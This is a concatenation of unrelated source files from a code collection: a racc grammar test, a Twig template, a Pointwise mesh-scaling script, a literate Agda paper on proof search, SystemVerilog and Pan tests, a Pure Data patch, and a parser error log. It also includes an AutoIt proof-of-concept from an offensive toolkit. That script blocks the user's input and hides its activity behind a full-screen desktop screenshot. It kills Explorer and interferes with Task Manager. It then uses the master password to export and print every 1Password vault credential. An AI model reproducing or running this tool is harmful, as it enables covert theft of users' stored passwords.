raise "test #{$test_number} fail" unless result == ans
$test_number += 1
end
chk(
[ [Number, 9],
[false, false],
[false, false] ], 9
)
chk(
[ [Number, 5],
['*', nil],
[Number, 1],
['-', nil],
[Number, 1],
['*', nil],
[Number, 8],
[false, false],
[false, false] ], -3
)
chk(
[ [Number, 5],
['+', nil],
[Number, 2],
['-', nil],
[Number, 5],
['+', nil],
[Number, 2],
['-', nil],
[Number, 5],
[false, false],
[false, false] ], -1
)
chk(
[ ['-', nil],
[Number, 4],
[false, false],
[false, false] ], -4
)
chk(
[ [Number, 7],
['*', nil],
['(', nil],
[Number, 4],
['+', nil],
[Number, 3],
[')', nil],
['-', nil],
[Number, 9],
[false, false],
[false, false] ], 40
)
| Yacc | 4 | puzzle/nochmal | spec/dummy/vendor/bundle/ruby/2.7.0/gems/racc-1.5.2/test/assets/chk.y | [
"MIT"
] |
{% extends '@SyliusAttribute/Types/default.html.twig' %}
| Twig | 0 | orestshes/Sylius | src/Sylius/Bundle/ShopBundle/Resources/views/Product/Show/Types/default.html.twig | [
"MIT"
] |
#
# Copyright 2014 (c) Pointwise, Inc.
# All rights reserved.
#
# This sample Pointwise script is not supported by Pointwise, Inc.
# It is provided freely for demonstration purposes only.
# SEE THE WARRANTY DISCLAIMER AT THE BOTTOM OF THIS FILE.
#
#############################################################################
##
## ScaledOffset.glf
##
## CREATE SCALED, OFFSET COPY OF CONNECTOR LOOP CENTERED AT CENTROID
##
## This script automates the creation of a roughly offset loop of connectors by
## applying a uniform scaling to the copied loop with the anchor placed at the
## geometric center of the original loop. This can be useful when trying to
## create internal topology within an outer loop, or a discrete boundary layer
## O-block from a closed loop of connectors on the surface.
##
## The parameter $alpha is the scaling factor (>1 is bigger than original loop)
##
## For maximum productivity, a GUI was excluded. Simply select a loop of
## connectors and then run the script, or run the script and then select the
## connectors.
##
#############################################################################
package require PWI_Glyph 2
## Scale factor (>1 implies new loop will be bigger than original, < 1 smaller)
set alpha 0.75
## Returns intersection of two lists
proc intersectLists { list1 list2 } {
set output [list]
foreach item $list1 {
set result [lsearch $list2 $item]
if {$result != -1} {
lappend output $item
}
}
return $output
}
## Check that connectors form singly-connected loop
proc isLoop { conList } {
set e [pw::Edge createFromConnectors -single $conList]
if { [llength $e] != 1 } {
puts "Connectors do not form a closed loop or single chain"
foreach edge $e {
$edge delete
}
return -1
}
set closed [$e isClosed]
set cons [list]
set nodes [list]
for { set i 1 } { $i <= [$e getConnectorCount] } { incr i } {
set c [$e getConnector $i]
lappend cons $c
if { [$e getConnectorOrientation $i] == "Same" } {
lappend nodes [$c getNode Begin]
} else {
lappend nodes [$c getNode End]
}
}
$e delete
return [list $closed $nodes $cons]
}
## Compute the area of a domain
proc computeArea { dom } {
## First determine cell type
if { [$dom getType] == "pw::DomainStructured" } {
set structured 1
} else {
set structured 0
}
## Get total cell count for iteration loop
set dim [$dom getCellCount]
set domainDimension [$dom getDimensions]
set centroid [list]
set area [list]
set exam [pw::Examine create DomainArea]
$exam addEntity $dom
$exam examine
## Manually step through cell-by-cell to get both centroid and area of each
for {set jj 1} {$jj <= $dim} {incr jj} {
if $structured {
## Must get ij index for structured domain
set i_index [expr ($jj-1)%([lindex $domainDimension 0]-1)+1]
set j_index [expr ($jj-1)/([lindex $domainDimension 0]-1)+1]
set cellIndex "$i_index $j_index"
} else {
set cellIndex $jj
}
## Compute cell centroid:
set cellInds [$dom getCell $cellIndex]
set cellCentroid [pwu::Vector3 zero]
foreach ind $cellInds {
set cellCentroid [pwu::Vector3 add $cellCentroid [$dom getXYZ $ind]]
}
set cellCentroid [pwu::Vector3 divide $cellCentroid [llength $cellInds]]
## Store centroid and area
lappend centroid $cellCentroid
lappend area [$exam getValue $dom $cellIndex]
}
$exam delete
return [list $centroid $area]
}
## Create temporary unstructured domain to compute the area
proc getDomainArea { cons } {
## First disable unstructured initialization to save on time
set initInterior [pw::DomainUnstructured getInitializeInterior]
pw::DomainUnstructured setInitializeInterior 0
## Begin mode to easily delete any constructed entities
set tmpMode [pw::Application begin Create]
## First try to create a planar domain from the connectors
## If it fails, look for an existing domain
set tmpDom [pw::DomainUnstructured createFromConnectors $cons]
if {$tmpDom != "" } {
$tmpDom setUnstructuredSolverAttribute ShapeConstraint Free
set temp [computeArea $tmpDom]
} else {
puts "Domain already exists."
set counter 0
set cc [lindex $cons 0]
set domList [pw::Domain getDomainsFromConnectors $cc]
foreach cc $cons {
set newList [pw::Domain getDomainsFromConnectors $cc]
set sharedEnts [intersectLists $domList $newList]
}
foreach ss $sharedEnts {
set outerEdge [$ss getEdge 1]
if { [lsearch $cons [$outerEdge getConnector 1]] != -1 } {
set temp [computeArea $ss]
break
}
}
}
## Abort mode to delete and constructed domains
$tmpMode abort
## Reset unstructured initialization setting
pw::DomainUnstructured setInitializeInterior $initInterior
if {[info exists temp]} {
return $temp
} else {
puts "Unable to create/find suitable domain."
exit
}
}
## Find centroid of connectors by computing average centroid
proc findCenter { cons } {
set temp [getDomainArea $cons]
set centroid [lindex $temp 0]
set area [lindex $temp 1]
set N [llength $area]
set cntr [pwu::Vector3 zero]
set totA 0.0
for {set ii 0} {$ii < $N} {incr ii} {
set vec [lindex $centroid $ii]
set A [lindex $area $ii]
set tmp [pwu::Vector3 scale $vec $A]
set cntr [pwu::Vector3 add $cntr $tmp]
set totA [expr $totA+[lindex $area $ii]]
}
set cntr [pwu::Vector3 divide $cntr $totA]
return $cntr
}
set text1 "Please select connector loop to offset."
set mask [pw::Display createSelectionMask -requireConnector {}]
###############################################
## This script uses the getSelectedEntities command added in 17.2R2
## Catch statement should check for previous versions
if { [catch {pw::Display getSelectedEntities -selectionmask $mask curSelection}] } {
puts {Command "getSelectedEntities" does not exist}
set picked [pw::Display selectEntities -description $text1 \
-selectionmask $mask curSelection]
if {!$picked} {
puts "Script aborted."
exit
}
} elseif { [llength $curSelection(Connectors)] == 0 } {
set picked [pw::Display selectEntities -description $text1 \
-selectionmask $mask curSelection]
if {!$picked} {
puts "Script aborted."
exit
}
}
###############################################
set temp [isLoop $curSelection(Connectors)]
set QLoop [lindex $temp 0]
set nodes [lindex $temp 1]
set cons [lindex $temp 2]
## Can only scale a closed loop, i.e. QLoop = 1
if {$QLoop==0 || $QLoop == -1} {
puts "No loop present, script aborted."
exit
}
set center [findCenter $cons]
pw::Application clearClipboard
pw::Application setClipboard $cons
set pasteMode [pw::Application begin Paste]
set pastedEnts [$pasteMode getEntities]
set modMode [pw::Application begin Modify $pastedEnts]
pw::Entity transform [pwu::Transform scaling -anchor $center \
"$alpha $alpha $alpha"] [$modMode getEntities]
$modMode end
unset modMode
$pasteMode end
unset pasteMode
#
# DISCLAIMER:
# TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, POINTWISE DISCLAIMS
# ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED
# TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE, WITH REGARD TO THIS SCRIPT. TO THE MAXIMUM EXTENT PERMITTED
# BY APPLICABLE LAW, IN NO EVENT SHALL POINTWISE BE LIABLE TO ANY PARTY
# FOR ANY SPECIAL, INCIDENTAL, INDIRECT, OR CONSEQUENTIAL DAMAGES
# WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF
# BUSINESS INFORMATION, OR ANY OTHER PECUNIARY LOSS) ARISING OUT OF THE
# USE OF OR INABILITY TO USE THIS SCRIPT EVEN IF POINTWISE HAS BEEN
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND REGARDLESS OF THE
# FAULT OR NEGLIGENCE OF POINTWISE.
#
| Glyph | 5 | smola/language-dataset | data/github.com/pointwise/ScaledOffset/0cdf4785e0b6a1235782bd7376f28300f0bd5255/ScaledOffset.glf | [
"MIT"
] |
\section{Proof search in Agda}
\label{sec:prolog}
The following section describes our implementation of proof search
à la Prolog in Agda. This implementation abstracts over two data types
for names---one for inference rules and one for term constructors.
These data types will be referred to as |RuleName| and |TermName|, and
will be instantiated with concrete types (with the same names) in
section~\ref{sec:reflection}.
\subsection*{Terms and unification}
\label{subsec:terms}
The heart of our proof search implementation is the structurally
recursive unification algorithm described by~\citet{unification}. Here
the type of terms is indexed by the number of variables a given term
may contain. Doing so enables the formulation of the unification
algorithm by structural induction on the number of free variables.
For this to work, we will use the following definition of
terms
\begin{code}
data PsTerm (n : ℕ) : Set where
var : Fin n → PsTerm n
con : TermName → List (PsTerm n) → PsTerm n
\end{code}
We will use the name |PsTerm| to stand for \emph{proof search term} to
differentiate them from the terms from Agda's \emph{reflection}
mechanism, |AgTerm|. In addition to variables, represented by the
finite type |Fin n|, we will allow first-order constants encoded as a
name with a list of arguments.
For instance, if we choose to instantiate |TermName| with the following
|Arith| data type, we can encode numbers and simple arithmetic
expressions:
\begin{code}
data Arith : Set where
Suc : Arith
Zero : Arith
Add : Arith
\end{code}
The closed term corresponding to the number one could be written as follows:
\begin{code}
One : PsTerm 0
One = con Suc (con Zero [] ∷ [])
\end{code}
Similarly, we can use the |var| constructor to represent open terms,
such as |x + 1|. We use the prefix operator |#| to convert from
natural numbers to finite types:
\begin{code}
AddOne : PsTerm 1
AddOne = con Add (var (# 0) ∷ One ∷ [])
\end{code}
Note that this representation of terms is untyped. There is no check
that enforces addition is provided precisely two arguments. Although
we could add further type information to this effect, this introduces
additional overhead without adding safety to the proof automation
presented in this paper. For the sake of simplicity, we have therefore
chosen to work with this untyped definition.
We shall refrain from further discussion of the unification algorithm itself.
Instead, we restrict ourselves to presenting the interface that we will use:
\begin{code}
unify : (t₁ t₂ : PsTerm m) → Maybe (∃[ n ] Subst m n)
\end{code}
The |unify| function takes two terms |t₁| and |t₂| and tries to
compute a substitution---the most general unifier. Substitutions are
indexed by two natural numbers |m| and |n|. A substitution of type
|Subst m n| can be applied to a |PsTerm m| to produce a value of type
|PsTerm n|.
As unification may fail, the result is wrapped in the |Maybe| type. In
addition, since the number of variables in the terms resulting from
the unifying substitution is not known \emph{a priori}, this
number is existentially quantified over.
For the remainder of the paper, we will write |∃[ x ] B| to mean a
type |B| with occurrences of an existentially quantified variable |x|,
or |∃ (λ x → B)| in full.
\subsection*{Inference rules}
\label{subsec:rules}
The hints in the hint database will form \emph{inference rules} that
we may use to prove a goal term. We represent such rules as records
containing a rule name, a list of terms for its premises, and a term
for its conclusion:
\begin{code}
record Rule (n : ℕ) : Set where
field
name : RuleName
premises : List (PsTerm n)
conclusion : PsTerm n
arity : ℕ
arity = length premises
\end{code}
Once again the data-type is quantified over the number of variables
used in the rule. Note that the number of variables in the
premises and the conclusion is the same.
Using our newly defined |Rule| type we can give a simple definition of
addition. In Prolog, this would be written as follows.
\begin{verbatim}
add(0, X, X).
add(suc(X), Y, suc(Z)) :- add(X, Y, Z).
\end{verbatim}
Unfortunately, the named equivalents in our Agda implementation given
in Figure~\ref{fig:rules} are a bit more verbose. Note that we have,
for the sake of this example, instantiated the |RuleName| and
|TermName| to |String| and |Arith| respectively.
\begin{figure}[t]
\centering
\normalsize
\begin{code}
AddBase : Rule 1
AddBase = record {
name = "AddBase"
conclusion = con Add ( con Zero []
∷ var (# 0)
∷ var (# 0)
∷ [])
premises = []
}
AddStep : Rule 3
AddStep = record {
name = "AddStep"
conclusion = con Add ( con Suc (var (# 0) ∷ [])
∷ var (# 1)
∷ con Suc (var (# 2) ∷ [])
∷ [])
premises = con Add ( var (# 0)
∷ var (# 1)
∷ var (# 2)
∷ [])
∷ []
}
\end{code}
\caption{Agda representation of example rules}
\label{fig:rules}
\end{figure}
A \emph{hint database} is nothing more than a list of rules. As the
individual rules may have different numbers of variables, we
existentially quantify these:
\begin{code}
HintDB : Set
HintDB = List (∃[ n ] Rule n)
\end{code}
\subsection*{Generalised injection and raising}
\label{subsec:injectandraise}
Before we can implement some form of proof search, we need to define a pair of
auxiliary functions. During proof resolution, we will work
with terms and rules containing a different number of variables. We
will use the following pair of functions, |inject| and |raise|, to
weaken bound variables, that is, map values of type |Fin n| to some
larger finite type.
\begin{code}
inject : ∀ {m} n → Fin m → Fin (m + n)
inject n zero = zero
inject n (suc i) = suc (inject n i)
raise : ∀ m {n} → Fin n → Fin (m + n)
raise zero i = i
raise (suc m) i = suc (raise m i)
\end{code}
On the surface, the |inject| function appears to be the identity. When you
make all the implicit arguments explicit, however, you will see that
it sends the |zero| constructor in |Fin m| to the |zero| constructor
of type |Fin (m + n)|. Hence, the |inject| function maps |Fin m| into the
\emph{first} |m| elements of the type |Fin (m + n)|. Dually, the
|raise| function maps |Fin n| into the \emph{last} |n| elements of the
type |Fin (m + n)| by repeatedly applying the |suc| constructor.
We can use |inject| and |raise| to define similar functions
that work on our |Rule| and |PsTerm| data types, by mapping them over
all the variables that they contain.
\subsection*{Constructing the search tree}
\label{subsec:searchtrees}
Our proof search procedure is consists of two steps. First, we
coinductively construct a (potentially infinite) search space; next,
we will perform a bounded depth-first traversal of this space to find
a proof of our goal.
We will represent the search space as a (potentially) infinitely deep, but
finitely branching rose tree.
\begin{code}
data SearchTree (A : Set) : Set where
leaf : A → SearchTree A
node : List (∞ (SearchTree A)) → SearchTree A
\end{code}
We will instantiate the type parameter |A| with a
type representing proof terms. These terms consist of applications of
rules, with a sub-proof for every premise.
\begin{code}
data Proof : Set where
con : (name : RuleName) (args : List Proof) → Proof
\end{code}
Unfortunately, during the proof search we will have to work with
\emph{partially complete} proof terms.
Such partial completed proofs are represented by the |PartialProof|
type. In contrast to the |Proof| data type, the |PartialProof| type
may contain variables, hence the type takes an additional number as
its argument:
\begin{code}
PartialProof : ℕ → Set
PartialProof m = ∃[ k ] Vec (PsTerm m) k × (Vec Proof k → Proof)
\end{code}
A value of type |PartialProof m| records three separate pieces of
information:
\begin{itemize}
\item a number |k|, representing the number of open subgoals;
\item a vector of length |k|, recording the subgoals that are still
open;
\item a function that, given a vector of |k| proofs for each of the
subgoals, will produce a complete proof of the original goal.
\end{itemize}
Next, we define the following function to help construct partial
proof terms:
\begin{code}
apply : (r : Rule n) → Vec Proof (arity r + k) → Vec Proof (suc k)
apply r xs = new ∷ rest
where
new = con (name r) (toList (take (arity r) xs))
rest = drop (arity r) xs
\end{code}
Given a |Rule| and a list of proofs of subgoals, this |apply| function
takes the required sub-proofs from the vector, and creates a new proof
by applying the argument rule to these sub-proofs. The result then consists of
this new proof, together with any unused sub-proofs. This is essentially
the `unflattening' of a rose tree.
We can now finally return to our proof search algorithm. The
|solveAcc| function forms the heart of the search procedure. Given a
hint database and the current partially complete proof, it produces a
|SearchTree| containing completed proofs.
\begin{code}
solveAcc : HintDB -> PartialProof (δ + m) → SearchTree Proof
solveAcc rules (0 , [] , p) = leaf (p [])
solveAcc rules (suc k , g ∷ gs , p) = node (map step rules)
\end{code}
If there are no remaining subgoals, i.e., the list in the second
component of the |PartialProof| is empty, the search is finished. We
construct a proof |p []|, and wrap this in the |leaf| constructor of
the |SearchTree|. If we still have open subgoals, we have more work to
do. In that case, we will try to apply every rule in our hint database
to resolve this open goal---our rose tree has as many branches as
there are hints in the hint database. The real work is done by the
|step| function, locally defined in a where clause, that given the
rule to apply, computes the remainder of the |SearchTree|.
Before giving the definition of the |step| function, we will try to
provide some intuition. Given a rule, the |step| function will try to
unify its conclusion with the current subgoal |g|. When this succeeds,
the premises of the rule are added to the list of open subgoals. When
this fails, we return a |node| with no children, indicating that
applying this rule can never prove our current goal.
Carefully dealing with variables, however, introduces some
complication, as the code for the |step| function illustrates:
\begin{code}
step : ∃[ δ ] (Rule δ) → ∞ (SearchTree Proof)
step (δ , r)
with unify (inject δ g) (raise m (conclusion r))
... | nothing = ♯ node []
... | just (n , mgu) = ♯ solveAcc prf
where
prf : PartialProof n
prf = arity r + k , gs′ , (p ∘ apply r)
where
gs′ : Vec (Goal n) (arity r + k)
gs′ = map (sub mgu) (raise m (fromList (premises r)) ++ inject δ gs)
\end{code}
Note that we use the function |sub| to apply a substitution to a term. This
function is defined by McBride~\citeyearpar{unification}.
The rule given to the |step| function may have a number of free
variables of its own. As a result, all goals have to be injected into
a larger domain which includes all current variables \emph{and} the
new rule's variables. The rule's premises and conclusion are then also
raised into this larger domain, to guarantee freshness of the rule
variables.
The definition of the |step| function attempts to |unify| the current
subgoal |g| and conclusion of the rule |r|. If this fails, we can
return |node []| immediately. If this succeeds, however, we build up a
new partial proof, |prf|. This new partial proof, once again, consists
of three parts:
\begin{itemize}
\item the number of open subgoals is incremented by |arity r|, i.e., the
number of premises of the rule |r|.
\item the vector of open subgoals |gs| is extended with the premises
of |r|, after weakening the variables of appropriately.
\item the function producing the final |Proof| object will, given the
proofs of the premises of |r|, call |apply r| to create the desired
|con| node in the final proof object.
\end{itemize}
The only remaining step, is to kick-off our proof search algorithm
with a partial proof, consisting of a single goal.
\begin{code}
solve : (goal : PsTerm m) → HintDB → SearchTree Proof
solve g rules = solveAcc (1 , g ∷ [] , head)
\end{code}
\subsection*{Searching for proofs}
After all this construction, we are left with a simple tree structure,
which we can traverse in search of solutions. For instance, we can
define a bounded depth-first traversal.
\begin{code}
dfs : (depth : ℕ) → SearchTree A → List A
dfs zero _ = []
dfs ( suc k) ( leaf x) = return x
dfs ( suc k) ( node xs) = concatMap (λ x → dfs k (♭ x)) xs
\end{code}
It is fairly straightforward to define other traversal strategies,
such as a breadth-first search. Similarly, we could define a function
which traverses the search tree aided by some heuristic. We will
explore further variations on search strategies in
Section~\ref{sec:extensible}.
%%% Local Variables:
%%% mode: latex
%%% TeX-master: t
%%% TeX-command-default: "rake"
%%% End:
| Literate Agda | 5 | wenkokke/AutoInAgda | doc/prolog.lagda | [
"MIT"
] |
module top;
typedef struct packed {
byte a,b,c,d;
} byte4_t;
typedef union packed {
int x;
byte4_t y;
} w_t;
w_t w;
assign w.x = 'h42;
always_comb begin
assert(w.y.d == 8'h42);
end
typedef logic[4:0] reg_addr_t;
typedef logic[6:0] opcode_t;
typedef struct packed {
bit [6:0] func7;
reg_addr_t rs2;
reg_addr_t rs1;
bit [2:0] func3;
reg_addr_t rd;
opcode_t opcode;
} R_t;
typedef struct packed {
bit[11:0] imm;
reg_addr_t rs1;
bit[2:0] func3;
reg_addr_t rd;
opcode_t opcode;
} I_t;
typedef struct packed {
bit[19:0] imm;
reg_addr_t rd;
opcode_t opcode;
} U_t;
typedef union packed {
R_t r;
I_t i;
U_t u;
} instruction_t;
instruction_t ir1;
assign ir1 = 32'h0AA01EB7; // lui t4,0xAA01
always_comb begin
assert(ir1.u.opcode == 'h37);
assert(ir1.r.opcode == 'h37);
assert(ir1.u.rd == 'd29);
assert(ir1.r.rd == 'd29);
assert(ir1.u.imm == 'hAA01);
end
union packed {
int word;
struct packed {
byte a, b, c, d;
} byte4;
} u;
assign u.word = 'h42;
always_comb begin
assert(u.byte4.d == 'h42);
end
endmodule
| SystemVerilog | 3 | gudeh/yosys | tests/svtypes/union_simple.sv | [
"ISC"
] |
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <Array.au3>
#include <GUIConstants.au3>
#include <ScreenCapture.au3>
#include <GuiToolBar.au3>
#include <GUIConstants.au3>
#cs --------------------------------------------------------------------------------
AutoIt Version: 3.3.14.5
Author: VIVI (https://github.com/V1V1) | (https://twitter.com/_theVIVI)
Script Function:
Exports 1Password vault credentials to disk using UI automation & key presses.
Requires user's master password and admin privileges on target PC.
Notes:
This script will block a user's keyboard and mouse inputs while displaying a
full screen image of the user's desktop on top of other windows -
preventing the user from seeing the script performing the credential extraction.
Normal execution will be restored after the extraction is finished.
Warning:
I wrote this as a PoC, I haven't tested all the possible scenarios.
It's very possible for execution to fail and get stuck with a frozen screen.
Use [Ctrl+Alt+Del] to exit if stuff goes wrong during tests.
#ce --------------------------------------------------------------------------------
; Title
ConsoleWrite(@CRLF & "=========== 1Password credential export ===========" & @CRLF & @CRLF)
; Priv check
_CheckPrivs()
; 1Password window checks
_Check1PasswordWindow()
; Block user input and attempt credential export
_ScreenBlock()
#cs ----------------------------------------------------------------------------
Main functions:
_Check1PasswordWindow
_ScreenBlock()
_Export1PasswordCreds()
_Quit()
#ce ----------------------------------------------------------------------------
Func _CheckPrivs()
; Just checks if we're admin
If Not IsAdmin() Then
ConsoleWrite("[X] You must have administrator privileges." & @CRLF & @CRLF)
Exit
EndIf
EndFunc ;==>_CheckPrivs
Func _Check1PasswordWindow()
; Process check
ConsoleWrite("----- Process check -----" & @CRLF & @CRLF)
ConsoleWrite("[*] Checking for 1Password process" & @CRLF & @CRLF)
$1PasswordPID = ProcessExists("1Password.exe")
If Not $1PasswordPID = 0 Then
ConsoleWrite(" [i] 1Password.exe is running (PID: " & $1PasswordPID & ")" & @CRLF)
ElseIf $1PasswordPID = 0 Then
ConsoleWrite(" [X] 1Password.exe is not running. Exiting." & @CRLF & @CRLF)
Exit
EndIf
; Get 1Password window handle
Global $1PasswordHandle = _GetHwndFromPID($1PasswordPID)
; Window active check
If WinActive($1PasswordHandle) Then
ConsoleWrite(" [X] 1Password window is currently in the foreground. Try again later?" & @CRLF & @CRLF)
Exit
EndIf
; Get 1Password Window title
$1PasswordWindowTitle = WinGetTitle($1PasswordHandle)
ConsoleWrite(" [i] 1Password window title: " & $1PasswordWindowTitle & @CRLF & @CRLF)
EndFunc ;==>_Check1PasswordWindow
; Adapted from - https://community.spiceworks.com/topic/534564-temp-lock-screen
; Credits - raycaruso (https://community.spiceworks.com/people/raycaruso/)
Func _ScreenBlock()
ConsoleWrite("----- Block user input -----" & @CRLF & @CRLF)
; Exit key - can be modified to whatever you'd like
; Use [Ctrl+Alt+Del] to exit if everything goes wrong
HotKeySet("{F6}", "_Quit")
; Take full desktop screenshot
ConsoleWrite("[*] Taking desktop screenshot" & @CRLF & @CRLF)
Global $desktopScreenCap = @TempDir & "\desktop-screen.jpg"
_ScreenCapture()
; Display saved screenshot as full screen window
$gui = GuiCreate("", @DesktopWidth, @DesktopHeight, "", "", $WS_POPUP)
GUICtrlCreatePic($desktopScreenCap, 0, 0,@DesktopWidth, @DesktopHeight)
; Change our screenshot window to always be on top
WinSetOnTop($gui, "", 1)
GUISetState()
_Lock() ; Calls it once, since it's not in the while 1 loop.
; Start timer - credential export will be attempted in this 10 second window
Local $timerSeconds = 10
Local $stopTime = $timerSeconds * 1000
ConsoleWrite("[*] Blocking user input for " & $timerSeconds & " seconds" & @CRLF & @CRLF)
Local $hTimer = TimerInit()
While 1
; Attempt 1Password credential export in block window - exit loop if successful
_Export1PasswordCreds()
If TimerDiff($hTimer) >= $stopTime Then _StopTimer()
WEnd
EndFunc ;==>_ScreenBlock
Func _Export1PasswordCreds()
; Cred export
ConsoleWrite("----- Credential export -----" & @CRLF & @CRLF)
ConsoleWrite("[*] Attempting 1Password credential export" & @CRLF & @CRLF)
; Open 1Password from tray icon
ConsoleWrite(" [*] Opening 1Password" & @CRLF & @CRLF)
_Clickon1PasswordTrayIcon()
; Open main 1Password app (keyboard shortcut)
Send("^+\")
; Give main window some time to open
Sleep(1500)
; Select all saved entries in vault & open export menu
ConsoleWrite(" [*] Opening export menu" & @CRLF & @CRLF)
Send("{TAB 3}")
Send("^a")
Send("{APPSKEY}")
Send("x")
; Enable export with user's master password
Sleep(1000)
$masterPass = String("[ENTER MASTER PASSWORD HERE]")
Send($masterPass)
Send("{ENTER}")
; Give save as menu a little time to open
Sleep(1500)
; Export creds to .csv file in current user's temp directory
ConsoleWrite(" [*] Exporting credentials to csv file" & @CRLF & @CRLF)
$outputFile = @TempDir & "\1Password-export.csv"
Send($outputFile)
Send("{TAB}")
Sleep("c")
Send("{ENTER}")
; Close output directory - 1Password opens it after export
WinWaitActive("Temp")
WinClose("Temp")
; Minimize 1Password window
ConsoleWrite(" [*] Minimizing 1Password window" & @CRLF & @CRLF)
WinWaitActive("All Vaults")
WinClose("All Vaults")
; Print output file location
ConsoleWrite(" [i] 1Password export file written to: " & $outputFile & @CRLF & @CRLF)
; Read export file
ConsoleWrite("[*] Reading output file" & @CRLF & @CRLF)
Sleep(2000)
If FileExists($outputFile) Then
Local $sfileRead = FileRead($outputFile)
ConsoleWrite("[+] Output file contents:" & @CRLF & @CRLF & $sfileRead)
EndIf
; Delete export file
ConsoleWrite(@CRLF & @CRLF & "[*] Deleting output file" & @CRLF & @CRLF)
FileDelete($outputFile)
ConsoleWrite(" [i] Export file at '" & $outputFile & "' has been deleted" & @CRLF & @CRLF)
; Credential extraction finished, stop the timer so we don't end up in loop of countless extraction attempts
ConsoleWrite("[*] Done")
_StopTimer()
EndFunc ;==>_Export1PasswordCreds()
; Quit and cleanup (called when exit key is pressed)
Func _Quit()
BlockInput(0)
; Delete desktop screenshot
ConsoleWrite(@CRLF & @CRLF & "[*] Deleting desktop screenshot" & @CRLF & @CRLF)
FileDelete($desktopScreenCap)
ConsoleWrite(" [i] Desktop screenshot at '" & $desktopScreenCap & "' has been deleted" & @CRLF & @CRLF)
ConsoleWrite("[*] Done." & @CRLF & @CRLF)
Exit
EndFunc
#cs ----------------------------------------------------------------------------
Util functions:
_Lock()
_StopTimer()
_ScreenCapture()
_GetHwndFromPID()
_Clickon1PasswordTrayIcon()
#ce ----------------------------------------------------------------------------
; Disables task manager
Func _Lock()
BlockInput(1)
Run("taskmgr.exe", "", @SW_DISABLE)
WinKill("Explorer.exe")
EndFunc
; Stops timer, frees user input & deletes desktop screenshot
Func _StopTimer()
ConsoleWrite(@CRLF & @CRLF & "----- Clean up -----" & @CRLF & @CRLF)
ConsoleWrite("[*] Restoring user's desktop session and keyboard input.")
Send("{F6}")
Exit
EndFunc ;==>_StopTimer
Func _ScreenCapture()
$hBmp = _ScreenCapture_Capture("", 0, 0, -1, -1, False)
_ScreenCapture_SaveImage($desktopScreenCap, $hBmp)
ConsoleWrite(" [i] Desktop screenshot saved to: " & $desktopScreenCap & @CRLF & @CRLF)
Sleep(1500)
EndFunc ;==>_ScreenCapture
; Gets window handle from PID
; Adapted from - https://www.autoitscript.com/wiki/FAQ#How_can_I_get_a_window_handle_when_all_I_have_is_a_PID.3F
Func _GetHwndFromPID($PID)
$hWnd = 0
$stPID = DllStructCreate("int")
Do
$winlist2 = WinList()
For $i = 1 To $winlist2[0][0]
If $winlist2[$i][0] <> "" Then
DllCall("user32.dll", "int", "GetWindowThreadProcessId", "hwnd", $winlist2[$i][1], "ptr", DllStructGetPtr($stPID))
If DllStructGetData($stPID, 1) = $PID Then
$hWnd = $winlist2[$i][1]
ExitLoop
EndIf
EndIf
Next
Sleep(100)
Until $hWnd <> 0
Return $hWnd
EndFunc ;==>_GetHwndFromPID
; Search for 1Password icon in toolbar and click on it if found
; Adapted from - https://www.autoitscript.com/forum/topic/198426-get-text-from-specific-toolbar-tray-icon/?do=findComment&comment=1423626
; Credits - Subz (https://www.autoitscript.com/forum/profile/101464-subz/)
Func _Clickon1PasswordTrayIcon()
Global $g_aTaskBar[0]
Global $g_iInstance = 1
Global $g_hWnd, $g_iCount, $g_iCmdID, $g_iSearch, $g_sSearch = "1Password"
While 1
$g_hWnd = ControlGetHandle("[CLASS:Shell_TrayWnd]", "", "[CLASS:ToolbarWindow32;INSTANCE:" & $g_iInstance& "]")
;~ Get number of buttons
$g_iCount = _GUICtrlToolbar_ButtonCount($g_hWnd)
If $g_iCount > 1 Then ExitLoop
$g_iInstance += 1
WEnd
;~ Loop through buttons
For $i = 1 To $g_iCount
$g_iCmdID = _GUICtrlToolbar_IndexToCommand($g_hWnd, $i)
;~ Check during the loop
If StringInStr(_GUICtrlToolbar_GetButtonText($g_hWnd, $g_iCmdID), $g_sSearch) Then _GUICtrlToolbar_ClickButton($g_hWnd,$g_iCmdID, "left", False, 1)
;~ Add the item to an array
_ArrayAdd($g_aTaskBar, _GUICtrlToolbar_GetButtonText($g_hWnd, $g_iCmdID))
Next
EndFunc ;==>_Clickon1PasswordTrayIcon
| AutoIt | 3 | ohio813/OffensiveAutoIt | Credential-Access/1PasswordCredExport.au3 | [
"BSD-2-Clause"
] |
#
# @expect=org.quattor.pan.parser.ParseException
#
object template choice2;
type mychoice = choice();
| Pan | 1 | aka7/pan | panc/src/test/pan/Functionality/choice/choice2.pan | [
"Apache-2.0"
] |
#N canvas 743 48 565 509 12;
#X obj 63 192 clip~ -0.5 0.5;
#X obj 63 122 osc~ 1000;
#N canvas 0 22 450 278 (subpatch) 0;
#X array clip 100 float 0;
#X coords 0 1 100 -1 200 100 1 0 0;
#X restore 297 282 graph;
#X obj 85 331 metro 500;
#X obj 62 19 clip~;
#X text 108 18 - restrict a signal to lie between two limits;
#X text 195 161 inlets to reset clip range;
#X floatatom 110 161 4 0 0 0 - - - 0;
#X floatatom 158 162 4 0 0 0 - - - 0;
#X text 175 191 creation arguments initialize clip range;
#X text 85 57 The clip~ object passes its signal input to its output
\, clipping it to lie between two limits., f 52;
#X text 306 444 updated for Pd version 0.33;
#X text 176 364 <= graph the output, f 10;
#X text 51 444 see also:;
#X obj 208 433 clip;
#X obj 169 433 max~;
#X obj 129 433 min~;
#X obj 130 460 expr~;
#X obj 63 368 tabwrite~ clip;
#X msg 97 258 \; pd dsp \$1;
#X obj 85 306 loadbang;
#X obj 97 233 tgl 15 0 empty empty empty 17 7 0 10 #fcfcfc #000000
#000000 0 1;
#X text 117 232 DSP on/off;
#X connect 0 0 18 0;
#X connect 1 0 0 0;
#X connect 3 0 18 0;
#X connect 7 0 0 1;
#X connect 8 0 0 2;
#X connect 20 0 3 0;
#X connect 21 0 19 0;
| Pure Data | 4 | myQwil/pure-data | doc/5.reference/clip~-help.pd | [
"TCL"
] |
At: "107.hac":6:
parse error: syntax error
parser stacks:
state value
